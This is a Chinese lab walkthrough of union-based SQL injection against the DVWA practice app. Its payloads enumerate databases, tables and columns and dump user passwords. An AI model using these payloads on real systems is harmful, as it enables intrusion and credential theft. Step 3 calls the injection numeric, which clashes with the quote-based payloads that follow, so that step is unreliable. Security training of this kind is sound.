1,将dvwa的安全等级改为low
DVWA靶机sql注入
2,查看源代码,发现没有过滤
DVWA靶机sql注入
3,输入1,判断注入类型是数字型还是字符型
DVWA靶机sql注入
发现返回,得知是数字型。
4,1’ 报错得知存在注入点
DVWA靶机sql注入
5,输入1’ order by 1#
DVWA靶机sql注入
6,输入1’ order by 2#
DVWA靶机sql注入
7,输入 1’ order by 3# 报错,得知字段不超过3。
DVWA靶机sql注入
8,输入 1’ union select 1,2# 返回1和2
DVWA靶机sql注入
9,输入 1’ union select database(),version()# 返回数据库和版本信息。
10,输入 1’ union select schema_name,2 from information_schema.schemata limit 0,1# 返回第0行取1行内容 返回数据库
DVWA靶机sql注入
11,输入 1’ union select schema_name,2 from information_schema.schemata limit 1,1#
DVWA靶机sql注入
12,输入 1’ union select schema_name,2 from information_schema.schemata limit 2,1#
DVWA靶机sql注入
13,输入 1’ union select schema_name,2 from information_schema.schemata limit 3,1#
DVWA靶机sql注入
14,输入 1’ union select schema_name,2 from information_schema.schemata limit 4,1#
DVWA靶机sql注入
15,输入 1’ union select schema_name,2 from information_schema.schemata limit 5,1#
DVWA靶机sql注入
16,输入 1’ union select table_name,2 from information_schema.tables where table_schema=‘dvwa’# 返回表
DVWA靶机sql注入
17,输入 1’ union select column_name,column_type from information_schema.columns where table_name=‘users’# 返回字段内容
DVWA靶机sql注入
18,输入 1’ union select concat(user,’-’,password),2 from dvwa.users# 返回用户名和密码
DVWA靶机sql注入

相关文章:

  • 2020-06-27
  • 2021-09-19
  • 2021-12-22
  • 2022-01-09
  • 2021-07-24
  • 2021-12-17
  • 2021-10-17
猜你喜欢
  • 2019-12-16
  • 2022-01-06
  • 2021-08-12
  • 2021-05-22
  • 2021-08-13
  • 2021-10-07
相关资源
相似解决方案